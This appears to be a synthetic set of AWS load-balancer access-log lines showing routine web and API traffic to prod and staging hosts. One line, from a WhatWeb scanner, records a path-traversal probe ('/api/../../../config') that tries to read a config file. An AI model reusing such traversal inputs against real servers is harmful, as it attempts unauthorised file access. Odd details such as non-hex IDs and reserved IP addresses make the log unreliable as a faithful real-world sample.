302 302 84 2262 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b98d-d09de0cb00814c9bbd17ded6" "prod-web-alb.example.com" "-" 2 2024-11-01T00:08:29.308051Z "forward" "-" "-" "10.0.162.151:443" "302" "-" "-" -https 2024-11-01T00:08:31.196690Z prod-api-alb 59.116.173.233:46894 10.0.157.193:443 0.011762 0.294574 0.083389 404 404 854 872 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b98f-1fb8f121758b4e788356a9f3" "prod-api-alb.example.com" "-" 6 2024-11-01T00:08:31.196690Z "forward" "-" "-" "10.0.157.193:443" "404" "-" "-" -https 2024-11-01T00:08:32.513302Z prod-api-alb 30.248.102.173:39636 10.0.208.38:443 0.060798 0.206072 0.042200 302 302 884 13953 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b990-9d97584755e7499392d0c272" "prod-api-alb.example.com" "-" 8 2024-11-01T00:08:32.513302Z "forward" "-" "-" "10.0.208.38:443" "302" "-" "-" -https 2024-11-01T00:08:33.116212Z prod-api-alb 183.192.27.221:53478 10.0.235.23:443 0.062468 0.031848 0.098732 301 301 48 5452 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b991-d1b8fed42f414b47a2516eee" "prod-api-alb.example.com" "-" 1 2024-11-01T00:08:33.116212Z "forward" "-" "-" "10.0.235.23:443" "301" "-" "-" -https 2024-11-01T00:08:33.345943Z prod-api-alb 222.175.170.30:14901 10.0.149.6:443 0.068802 0.154121 0.093153 200 200 201 4646 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b991-c5f08f2cc9ce461580f1b0d2" "prod-api-alb.example.com" "-" 5 2024-11-01T00:08:33.345943Z "forward" "-" "-" "10.0.149.6:443" "200" "-" "-" -https 2024-11-01T00:08:35.072026Z staging-alb 247.151.19.8:29382 29.135.205.158:443 0.037577 0.132469 0.107801 200 200 301 7794 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b993-7b0af735c207428589b56244" "staging-alb.example.com" "-" 7 2024-11-01T00:08:35.072026Z "forward" "-" "-" "29.135.205.158:443" "200" "-" "-" -https 2024-11-01T00:08:35.994445Z prod-api-alb 219.126.253.31:44546 10.0.255.41:443 0.011370 0.468602 0.008488 200 200 398 8625 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b993-4933b8c296e04c17b3bafc8e" "prod-api-alb.example.com" "-" 0 2024-11-01T00:08:35.994445Z "forward" "-" "-" "10.0.255.41:443" "200" "-" "-" -http 2024-11-01T00:08:37.310941Z staging-alb 243.200.45.63:45573 251.83.57.167:80 0.038896 0.325200 0.148314 200 200 466 14777 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b995-23d7e4fcfffa488eb351bb7c" "staging-alb.example.com" "-" 9 2024-11-01T00:08:37.310941Z "forward" "-" "-" "251.83.57.167:80" "200" "-" "-" -http 2024-11-01T00:08:38.735533Z staging-alb 245.70.39.175:37497 169.96.225.222:8080 0.091687 0.687560 0.060278 200 200 91 1664 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b996-c72959fefe9948bea63fa943" "staging-alb.example.com" "-" 2 2024-11-01T00:08:38.735533Z "forward" "-" "-" "169.96.225.222:8080" "200" "-" "-" -https 2024-11-01T00:08:40.446767Z prod-api-alb 146.96.213.0:59777 10.0.169.19:443 0.039536 0.293346 0.070800 302 302 388 12383 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b998-4f9e84279baf47f29a479fb4" "prod-api-alb.example.com" "-" 3 2024-11-01T00:08:40.446767Z "forward" "-" "-" "10.0.169.19:443" "302" "-" "-" -https 2024-11-01T00:08:41.637559Z staging-alb 51.44.186.252:24535 235.55.9.6:443 0.071448 0.179944 0.147963 200 200 395 9556 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b999-292d5848678a4c0e9a090546" "staging-alb.example.com" "-" 0 2024-11-01T00:08:41.637559Z "forward" "-" "-" "235.55.9.6:443" "200" "-" "-" -http 2024-11-01T00:08:43.466492Z staging-alb 229.186.196.225:28694 199.133.246.233:80 0.112075 0.158738 0.144460 302 302 569 9019 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b99b-10091de26d9145088b7f21b2" "staging-alb.example.com" "-" 0 2024-11-01T00:08:43.466492Z "forward" "-" "-" "199.133.246.233:80" "302" "-" "-" -https 2024-11-01T00:08:44.927972Z prod-api-alb 227.237.183.237:15775 10.0.103.111:443 0.037447 0.203867 0.069486 200 200 825 8965 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b99c-7c9cb91a5eca4c49a33d04a7" "prod-api-alb.example.com" "-" 5 2024-11-01T00:08:44.927972Z "forward" "-" "-" "10.0.103.111:443" "200" "-" "-" -http 2024-11-01T00:08:46.740526Z staging-alb 81.82.198.116:47890 112.208.1.185:8080 0.095479 0.735154 0.099129 200 200 374 8122 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b99e-a1903c72cf0b4a16992e6c3d" "staging-alb.example.com" "-" 7 2024-11-01T00:08:46.740526Z "forward" "-" "-" "112.208.1.185:8080" "200" "-" "-" -https 2024-11-01T00:08:48.269956Z prod-api-alb 162.239.154.226:30049 10.0.115.57:443 0.058122 0.384681 0.069548 200 200 607 1157 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b9a0-4d7c92599d2147099801e69c" "prod-api-alb.example.com" "-" 8 2024-11-01T00:08:48.269956Z "forward" "-" "-" "10.0.115.57:443" "200" "-" "-" -https 2024-11-01T00:08:48.780731Z prod-api-alb 247.203.172.103:35750 10.0.174.120:443 0.028403 0.170986 0.029528 200 200 266 7126 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b9a0-8152bc7c593e4c0c85a44d9d" "prod-api-alb.example.com" "-" 10 2024-11-01T00:08:48.780731Z "forward" "-" "-" "10.0.174.120:443" "200" "-" "-" -https 2024-11-01T00:08:50.412719Z prod-api-alb 231.26.251.101:20455 10.0.66.12:443 0.090284 0.073186 0.046127 301 301 51 3062 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b9a2-0757b559b70647edb6a8873f" "prod-api-alb.example.com" "-" 0 2024-11-01T00:08:50.412719Z "forward" "-" "-" "10.0.66.12:443" "301" "-" "-" -https 2024-11-01T00:08:52.305397Z prod-api-alb 244.46.123.204:21034 10.0.71.241:443 0.062364 0.127960 0.027266 404 404 196 10884 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b9a4-35839789326b4659a6a6a04f" "prod-api-alb.example.com" "-" 4 2024-11-01T00:08:52.305397Z "forward" "-" "-" "10.0.71.241:443" "404" "-" "-" -https 2024-11-01T00:08:53.225045Z prod-web-alb 175.67.150.24:28681 10.0.75.158:443 0.007019 0.093201 0.088666 200 200 762 6513 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b9a5-cc582b2b24904051ba68b59e" "prod-web-alb.example.com" "-" 3 2024-11-01T00:08:53.225045Z "forward" "-" "-" "10.0.75.158:443" "200" "-" "-" -https 2024-11-01T00:08:53.598720Z prod-api-alb 141.202.190.35:17741 10.0.81.92:443 0.075126 0.212618 0.010862 302 302 922 9971 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b9a5-a6edb3fab8674f33b0fb402f" "prod-api-alb.example.com" "-" 5 2024-11-01T00:08:53.598720Z "forward" "-" "-" "10.0.81.92:443" "302" "-" "-" -https 2024-11-01T00:08:54.912016Z staging-alb 33.49.148.69:13975 189.132.226.214:8080 0.037617 0.329921 0.008436 200 200 648 1581 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b9a6-6b71bc6530544f32a30c069e" "staging-alb.example.com" "-" 8 2024-11-01T00:08:54.912016Z "forward" "-" "-" "189.132.226.214:8080" "200" "-" "-" -https 2024-11-01T00:08:56.783409Z prod-web-alb 190.173.92.165:47412 10.0.174.40:443 0.066517 0.212991 0.099857 404 404 336 5078 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b9a8-d50482e7fa884c7f976f2162" "prod-web-alb.example.com" "-" 7 2024-11-01T00:08:56.783409Z "forward" "-" "-" "10.0.174.40:443" "404" "-" "-" -https 2024-11-01T00:08:58.713085Z prod-api-alb 235.100.161.126:48307 10.0.221.211:443 0.032861 0.018424 0.070468 200 200 377 13247 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b9aa-6b41992952664f7bac97fe8e" "prod-api-alb.example.com" "-" 7 2024-11-01T00:08:58.713085Z "forward" "-" "-" "10.0.221.211:443" "200" "-" "-" -https 2024-11-01T00:08:59.400318Z prod-web-alb 155.102.67.138:48638 10.0.122.242:443 0.029648 0.130326 0.038328 301 301 689 6844 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b9ab-1a5a622eda5d49a09720bbbe" "prod-web-alb.example.com" "-" 4 2024-11-01T00:08:59.400318Z "forward" "-" "-" "10.0.122.242:443" "301" "-" "-" -https 2024-11-01T00:09:00.900411Z prod-api-alb 190.79.197.69:38127 10.0.7.192:443 0.014077 0.337112 0.094662 302 302 125 13415 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b9ac-ec3e2c11f8c242dfb1f5133b" "prod-api-alb.example.com" "-" 6 2024-11-01T00:09:00.900411Z "forward" "-" "-" "10.0.7.192:443" "302" "-" "-" -https 2024-11-01T00:09:01.761161Z prod-web-alb 181.27.168.222:10319 10.0.206.4:443 0.066296 0.178852 0.069341 200 200 487 6586 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b9ad-45561269c4e641cd8a0f7512" "prod-web-alb.example.com" "-" 5 2024-11-01T00:09:01.761161Z "forward" "-" "-" "10.0.206.4:443" "200" "-" "-" -https 2024-11-01T00:09:02.055325Z prod-web-alb 198.128.44.208:64410 10.0.188.161:443 0.020886 0.137830 0.013687 200 200 729 1469 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b9ae-a98253aa652a4fffa146dc44" "prod-web-alb.example.com" "-" 5 2024-11-01T00:09:02.055325Z "forward" "-" "-" "10.0.188.161:443" "200" "-" "-" -https 2024-11-01T00:09:02.956414Z staging-alb 169.127.133.97:18376 228.85.104.69:8080 0.069357 0.023210 0.104419 200 200 977 7805 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b9ae-316e28375f1144309f7e9c31" "staging-alb.example.com" "-" 4 2024-11-01T00:09:02.956414Z "forward" "-" "-" "228.85.104.69:8080" "200" "-" "-" -https 2024-11-01T00:09:04.381535Z prod-api-alb 150.18.37.126:31080 10.0.175.232:443 0.006685 0.355663 0.099348 200 200 397 14422 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b9b0-bc3a3ff7beed4ef8b47019c9" "prod-api-alb.example.com" "-" 1 2024-11-01T00:09:04.381535Z "forward" "-" "-" "10.0.175.232:443" "200" "-" "-" -https 2024-11-01T00:09:05.835215Z prod-api-alb 181.12.71.219:44949 10.0.100.32:443 0.076678 0.016149 0.051314 200 200 304 6479 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b9b1-ec6b56a5113246bca3dc6591" "prod-api-alb.example.com" "-" 3 2024-11-01T00:09:05.835215Z "forward" "-" "-" "10.0.100.32:443" "200" "-" "-" -https 2024-11-01T00:09:06.865577Z staging-alb 94.124.197.206:50239 245.55.166.43:443 0.082858 0.274058 0.049513 200 200 147 4602 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b9b2-b1239f2fd6864fd898fa63da" "staging-alb.example.com" "-" 6 2024-11-01T00:09:06.865577Z "forward" "-" "-" "245.55.166.43:443" "200" "-" "-" -https 2024-11-01T00:09:07.585803Z staging-alb 169.248.107.56:15550 31.20.61.234:443 0.050892 0.371214 0.116620 302 302 950 6246 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b9b3-3c35a4d6b1a946b3aeff3fe4" "staging-alb.example.com" "-" 10 2024-11-01T00:09:07.585803Z "forward" "-" "-" "31.20.61.234:443" "302" "-" "-" -https 2024-11-01T00:09:08.967320Z prod-web-alb 191.178.200.228:53202 10.0.199.219:443 0.016939 0.468535 0.052913 200 200 738 13100 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b9b4-27d50694abd642078f48c508" "prod-web-alb.example.com" "-" 1 2024-11-01T00:09:08.967320Z "forward" "-" "-" "10.0.199.219:443" "200" "-" "-" -https 2024-11-01T00:09:10.863193Z prod-web-alb 121.45.21.101:56550 10.0.233.39:443 0.026400 0.423718 0.004194 200 200 713 6454 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b9b6-56224f3d47ac4d269139d1f5" "prod-web-alb.example.com" "-" 10 2024-11-01T00:09:10.863193Z "forward" "-" "-" "10.0.233.39:443" "200" "-" "-" -http 2024-11-01T00:09:11.694289Z staging-alb 91.134.12.98:32544 48.105.221.15:8080 0.145603 0.305390 0.011434 200 200 902 10123 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b9b7-babc8ecb6b9d4ba29839c9e0" "staging-alb.example.com" "-" 8 2024-11-01T00:09:11.694289Z "forward" "-" "-" "48.105.221.15:8080" "200" "-" "-" -https 2024-11-01T00:09:13.316142Z prod-api-alb 160.12.82.13:39213 10.0.151.64:443 0.030440 0.106611 0.037407 200 200 163 11128 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b9b9-ee186da52745461289de177a" "prod-api-alb.example.com" "-" 0 2024-11-01T00:09:13.316142Z "forward" "-" "-" "10.0.151.64:443" "200" "-" "-" -https 2024-11-01T00:09:14.247498Z prod-api-alb 155.90.11.27:42306 10.0.135.1:443 0.092633 0.425331 0.054350 200 200 843 14871 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b9ba-b40da7631f3b4bb88786790c" "prod-api-alb.example.com" "-" 4 2024-11-01T00:09:14.247498Z "forward" "-" "-" "10.0.135.1:443" "200" "-" "-" -http 2024-11-01T00:09:15.452988Z staging-alb 252.210.232.74:41496 220.180.71.214:80 0.057048 0.491992 0.042372 200 200 766 6263 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b9bb-af722781c1224ad3b1e4798f" "staging-alb.example.com" "-" 8 2024-11-01T00:09:15.452988Z "forward" "-" "-" "220.180.71.214:80" "200" "-" "-" -https 2024-11-01T00:09:15.956270Z prod-web-alb 110.127.29.187:46503 10.0.181.195:443 0.074593 0.471014 0.099545 200 200 250 8376 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b9bb-61b9451417d24789a879c7ac" "prod-web-alb.example.com" "-" 7 2024-11-01T00:09:15.956270Z "forward" "-" "-" "10.0.181.195:443" "200" "-" "-" -https 2024-11-01T00:09:16.547339Z prod-web-alb 144.215.240.212:52700 10.0.83.234:443 0.079387 0.022972 0.014208 200 200 361 1643 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b9bc-96d89764f9304ef6824e2c19" "prod-web-alb.example.com" "-" 8 2024-11-01T00:09:16.547339Z "forward" "-" "-" "10.0.83.234:443" "200" "-" "-" -https 2024-11-01T00:09:18.439195Z prod-api-alb 224.56.19.245:38255 10.0.145.156:443 0.034876 0.293683 0.011871 200 200 714 6055 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b9be-cedb4547f1794f40b9ff66b1" "prod-api-alb.example.com" "-" 3 2024-11-01T00:09:18.439195Z "forward" "-" "-" "10.0.145.156:443" "200" "-" "-" -https 2024-11-01T00:09:18.652426Z prod-web-alb 193.27.228.135:50480 10.0.197.106:443 0.018954 0.219816 0.015592 404 404 695 5772 "GET /api/../../../config HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b9be-bc3b1d70f8e14565abf42475" "-" "-" 0 2024-11-01T00:09:18.652426Z "forward" "-" "-" "10.0.197.106:443" "404" "-" "-" -https 2024-11-01T00:09:19.265794Z prod-web-alb 112.207.42.127:29534 10.0.228.91:443 0.024563 0.016614 0.063076 301 301 663 14877 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b9bf-3c08aa467b5948969f3910d4" "prod-web-alb.example.com" "-" 9 2024-11-01T00:09:19.265794Z "forward" "-" "-" "10.0.228.91:443" "301" "-" "-" -https 2024-11-01T00:09:20.419040Z prod-api-alb 79.93.167.145:48994 10.0.26.250:443 0.006495 0.126461 0.062907 200 200 24 9139 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b9c0-ed49d08112cd49e5a673c298" "prod-api-alb.example.com" "-" 10 2024-11-01T00:09:20.419040Z "forward" "-" "-" "10.0.26.250:443" "200" "-" "-" -https 2024-11-01T00:09:21.227187Z prod-api-alb 74.146.102.84:51918 10.0.126.130:443 0.035198 0.119381 0.094968 200 200 682 1027 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b9c1-9348327f72cb4ad58f9c6684" "prod-api-alb.example.com" "-" 6 2024-11-01T00:09:21.227187Z "forward" "-" "-" "10.0.126.130:443" "200" "-" "-" -https 2024-11-01T00:09:21.476733Z prod-web-alb 8.132.65.63:43592 10.0.2.109:443 0.074502 0.454738 0.027143 301 301 621 12666 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b9c1-0a1509926c134a5ea54fc3a4" "prod-web-alb.example.com" "-" 3 2024-11-01T00:09:21.476733Z "forward" "-" "-" "10.0.2.109:443" "301" "-" "-" -https 2024-11-01T00:09:21.767089Z prod-web-alb 0.250.142.204:52681 10.0.153.220:443 0.042992 0.419508 0.080860 404 404 445 10358 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b9c1-dafcae54c71b41f18964148b" "prod-web-alb.example.com" "-" 9 2024-11-01T00:09:21.767089Z "forward" "-" "-" "10.0.153.220:443" "404" "-" "-" -https 2024-11-01T00:09:23.607928Z prod-api-alb 58.72.127.215:22550 10.0.63.79:443 0.035110 0.490379 0.047246 302 302 237 14620 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b9c3-bd4c8479c2f049428c1809ac" "-" "-" 9 2024-11-01T00:09:23.607928Z "forward" "-" "-" "10.0.63.79:443" "302" 